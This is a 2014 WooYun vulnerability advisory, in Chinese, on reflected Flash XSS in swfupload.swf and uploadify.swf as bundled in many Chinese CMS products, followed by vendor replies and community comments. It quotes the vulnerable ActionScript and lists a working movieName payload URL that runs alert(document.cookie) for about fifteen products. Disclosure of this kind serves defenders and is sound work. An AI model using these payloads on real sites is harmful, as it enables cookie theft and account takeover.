当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(118) 关注此漏洞

缺陷编号: WooYun-2014-69833

漏洞标题: 各大CMS厂商的CMS存在的同一安全问题

相关厂商: 各大CMS厂商

漏洞作者: phith0n认证白帽子

提交时间: 2014-07-29 01:25

公开时间: 2014-10-25 01:26

漏洞类型: XSS跨站脚本攻击

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: XSS

35人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-29: 细节已通知厂商并且等待厂商处理中
2014-07-31: 厂商已经确认,细节仅向厂商公开
2014-08-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-24: 细节向核心白帽子及相关领域专家公开
2014-10-04: 细节向普通白帽子公开
2014-10-14: 细节向实习白帽子公开
2014-10-25: 细节向公众公开

简要描述:

实际上是很老一个问题,但经过我的测试,发现国内各大cms厂商,包括但不限于dedecms、phpcms、cmseasy、espcms、phpyun、thinksns、骑士人才系统、phpdisk、国微php168、phpok、kesioncms、pageadmin、xheditor、sdcms、emlog、dtcms等等都存着此安全漏洞(以上基本都有demo站或官网验证),不限于服务端语言(php、asp、aspx、jsp等)、不限操作系统及服务器中间件、不限浏览器种类及filter、能绕过大部分WAF,轻则越权操作,重则直接getshell,危害不可估量。其实你们已经发现了,漏洞类型是“XSS跨站脚本攻击”。
为了防止小伙伴们都来刷奖金、刷rank,我决定一起提交了,希望引起各大cms厂商的重视!
向前辈致敬:http://www.wooyun.org/bugs/wooyun-2010-064004 http://www.wooyun.org/bugs/wooyun-2010-064792

详细说明:

0x01 概述

相信很多站长对swfupload.swf、uploadify.swf这样的文件不陌生,做站的时候常常看到。实际上这是一个著名的利用swf异步上传的一个插件。

它可以很好解决异步上传、多文件异步上传的问题,很快这个插件就红遍了cms界,各大cms都使用这个swf来处理上传问题。

但是,这个swf却是一颗含有xss问题的定时炸弹!

code 区域
this.movieName = root.loaderInfo.parameters.movieName;
this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");
this.fileDialogStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogStart");
this.fileQueued_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueued");
this.fileQueueError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueueError");
this.fileDialogComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogComplete");
this.uploadStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadStart");
this.uploadProgress_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadProgress");
this.uploadError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadError");
this.uploadSuccess_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadSuccess");
this.uploadComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadComplete");
this.debug_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].debug");
this.testExternalInterface_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].testExternalInterface");
this.cleanUp_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].cleanUp");



代码可见,从参数(root.loaderInfo.parameters.movieName)中获得movieName后直接赋值到一些callback响应函数中,这些函数是js中执行的内容。我们只需闭合前面的"],再闭合try..catch中大括号},即可执行自己的javascript代码,造成反射型XSS。

因为是flash xss,而且没有过多关键字,所以无视浏览器filter和大部分WAF(因为在前端运行),所以影响较大,轻则越权操作、产生XSS、csrf蠕虫,重则直接getshell(结合某些cms的后台getshell技巧)。



0x02 各大cms纷纷躺枪

由于中招的cms过多,我就不一一截图了,直接给出官网demo或网上实例做演示吧:

code 区域
cmseasy demo站:
http://**.**.**.**/common/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

espcms demo站:
http://**.**.**.**/adminsoft/js/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

phpcms v9 demo站:
http://**.**.**.**/statics/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

dedecms 织梦内容管理系统官网:
http://**.**.**.**/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

phpyun人才系统demo站:
http://**.**.**.**/js/upload/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

thinksns demo站:
http://**.**.**.**/t3/addons/theme/stv1/_static/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

74cms某网络实例:
http://**.**.**.**/admin/kindeditor/plugins/multiimage/images/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

phpdisk demo站之一:
http://**.**.**.**/f/includes/js/upload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

国微php168 demo站:
http://**.**.**.**/gov15/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

phpok demo站:
http://**.**.**.**/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

kesioncms demo站:
http://**.**.**.**/Plus/swfupload/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

pageadmin demo站:
http://**.**.**.**/e/incs/fckeditor/editor/plugins/swfupload/js/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

xheditor demo我没找到路径,但下载的程序包中也存在swfupload.swf文件,经测试也可以触发xss。xheditor是网上应用很多的轻编辑器,所以会引起蝴蝶效应,导致更多cms出现问题:
http://xheditor/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

时代cms demo站:
http://**.**.**.**/lib/swf/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

emlog 官方易梦主机:
http://**.**.**.**/include/lib/js/uploadify/uploadify.swf?movieName="]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

漏洞证明:

0x03 证明:



dedecms演示:

01.jpg





phpcms v9演示:

02.jpg





cmseasy 演示:

03.jpg





espcms 演示:

05.jpg





phpyun 演示:

06.jpg





多的我就不截图了。几乎都是在乌云注册的各大厂商,以及政府、企业、学校用的很多的CMS,包括不限于PHP、asp(kesioncms)、aspx(pageadmin、dtcms等)。



其中xheditor是编辑器,又被很多cms所引用,所以能够影响所有使用xheditor的用户,包括但不仅限于以下列表:

07.jpg

修复方案:

更新swf,进行过滤

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-07-31 21:51

厂商回复:

CNVD确认所述情况,类似flash域跨站原理已经在相关讨论中遇到过,对于所述多款CMS面临的风险,暂无法一一处置。先行确认,由第三方厂商进行防护。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-27 01:41 | 鸟云厂商 认证白帽子 ( 核心白帽子 | Rank:1504 漏洞数:156 )
    1

    又来!疯牛!

  2. 2014-07-27 02:46 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )
    1

    没有亲朋好友预览版么?

  3. 2014-07-27 04:26 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    看来又发现了新的xss向量了

  4. 2014-07-27 05:21 | 3yst1m ( 实习白帽子 | Rank:35 漏洞数:4 | 我发现我的思路还不够猥琐)
    0

    前排出售瓜子、辣条、可乐

  5. 2014-07-27 07:17 | 果冻好吃 ( 路人 | Rank:22 漏洞数:11 | 大学通知书下来那天,我迫不及待的用四百块...)
    0

    我到底还能不能上央视了?

  6. 2014-07-27 07:52 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
    0

    我要上电视

  7. 2014-07-27 08:43 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    好腻害的样纸。。

  8. 2014-07-27 08:44 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    各大CMS厂商的CMS存在同一设计缺陷,老喜欢用admin做管理员用户名,太容易让人猜解出来了~

  9. 2014-07-27 09:02 | 浅蓝 ( 普通白帽子 | Rank:283 漏洞数:111 | 圈内最帅,没有之一)
    0

    各大CMS厂商的CMS存在同一设计缺陷,老喜欢用/admin/做后台路径,太容易让人猜解出来了~

  10. 2014-07-27 09:16 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    良心啊

  11. 2014-07-27 09:20 | 3yst1m ( 实习白帽子 | Rank:35 漏洞数:4 | 我发现我的思路还不够猥琐)
    0

    各大CMS厂商的CMS存在同一设计缺陷,老喜欢用/data/做数据存放路径,太容易让人猜解出来了~

  12. 2014-07-27 09:21 | 3yst1m ( 实习白帽子 | Rank:35 漏洞数:4 | 我发现我的思路还不够猥琐)
    0

    @xsser 我的这个可以审核吗http://www.wooyun.org/bugs/wooyun-2014-069852/trace/c0c0fa0d70297510482d7b0904ab79a7

  13. 2014-07-27 09:37 | 浅蓝 ( 普通白帽子 | Rank:283 漏洞数:111 | 圈内最帅,没有之一)
    0

    @xsser http://www.wooyun.org/bugs/wooyun-2014-064038/trace/86ee30bf213144162ced185e86b5fc4b 审核啊。。

  14. 2014-07-27 09:39 | 3yst1m ( 实习白帽子 | Rank:35 漏洞数:4 | 我发现我的思路还不够猥琐)
    0

    @浅蓝 iphone到了吗

  15. 2014-07-27 09:40 | 浅蓝 ( 普通白帽子 | Rank:283 漏洞数:111 | 圈内最帅,没有之一)
    0

    @3yst1m 你猜

  16. 2014-07-27 09:41 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    @xsser 良心就来个闪电吧 >_<

  17. 2014-07-27 09:41 | 3yst1m ( 实习白帽子 | Rank:35 漏洞数:4 | 我发现我的思路还不够猥琐)
    0

    @浅蓝 没吧,这查水表就麻烦了

  18. 2014-07-27 09:43 | 浅蓝 ( 普通白帽子 | Rank:283 漏洞数:111 | 圈内最帅,没有之一)
    1

    @3yst1m - -! 没到。

  19. 2014-07-27 10:18 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)
    0

    @浅蓝 jb

  20. 2014-07-27 10:32 | D_M ( 路人 | Rank:3 漏洞数:2 | 看大门师傅的学徒)
    0

    你这么吊音符牛知道吗?

  21. 2014-07-27 11:36 | do9gy ( 实习白帽子 | Rank:78 漏洞数:17 | Dog loves God。)
    0

    楼主可否分我几个cms,让我一个一个刷。

  22. 2014-07-27 11:50 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)
    0

    各大CMS厂商的CMS存在同一设计缺陷,老喜欢用admin做管理员用户名,太容易让人猜解出来了~

  23. 2014-07-27 12:43 | 丶潇洒哥 ( 路人 | Rank:5 漏洞数:2 | 我是一枚农民工。)
    0

    哈哈

  24. 2014-07-27 13:01 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    闪电了 好叼。

  25. 2014-07-27 13:02 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了,跪着也要...)
    0

    各大CMS厂商的CMS存在同一设计缺陷,老喜欢不用静态导致SQL注入。太容易被人爆出来了!

  26. 2014-07-27 13:53 | f4ckbaidu ( 普通白帽子 | Rank:243 漏洞数:32 | 开发真是日了狗了)
    0

    这么屌?

  27. 2014-07-27 15:07 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    偷偷藏着也不告诉我。。。

  28. 2014-07-27 15:43 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:3082 漏洞数:613 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)
    0

    ........

  29. 2014-07-27 18:42 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)
    1

    有大牛出来了。流弊

  30. 2014-07-28 08:40 | Tea ( 普通白帽子 | Rank:321 漏洞数:40 | Can't We Be Young.)
    0

    上传HTML文档?

  31. 2014-07-28 11:02 | noob ( 实习白帽子 | Rank:85 漏洞数:19 | 向各位大神学习,向各位大神致敬)
    0

    先占位置

  32. 2014-07-28 12:14 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )
    0

    原来是默认admin啊 ... 这也算啊....

  33. 2014-07-28 12:30 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    @老和尚 神器给我我告诉你是啥 >_<

  34. 2014-07-28 17:59 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    @老和尚 神器给我我真告诉你是啥

  35. 2014-07-28 20:22 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )
    0

    风声过了公布. 你俩私信了.

  36. 2014-08-23 17:47 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    秒全国啊?

  37. 2014-09-10 13:13 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    这个不错,之前我也想到了,就是懒得测试了,没想到大神就把这个发出来了,赞一个

  38. 2014-10-25 02:52 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)
    1

    这个可以

  39. 2014-10-25 09:23 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)
    0

    Mark,以后搞不下来就回来看看这个66666

  40. 2014-10-25 12:03 | 晏子 ( 路人 | Rank:6 漏洞数:4 | 无)
    0

    @老和尚 神器给我我真告诉你是啥

  41. 2014-11-12 13:32 | PageAdmin(乌云厂商)
    1

    非常感谢,pageadmin已经修复次问题。

  42. 2014-11-13 13:01 | phpok企业站(乌云厂商)
    1

    已经改为webuploader控件了,希望高手测试下~~

登录后才能发表评论,请先 登录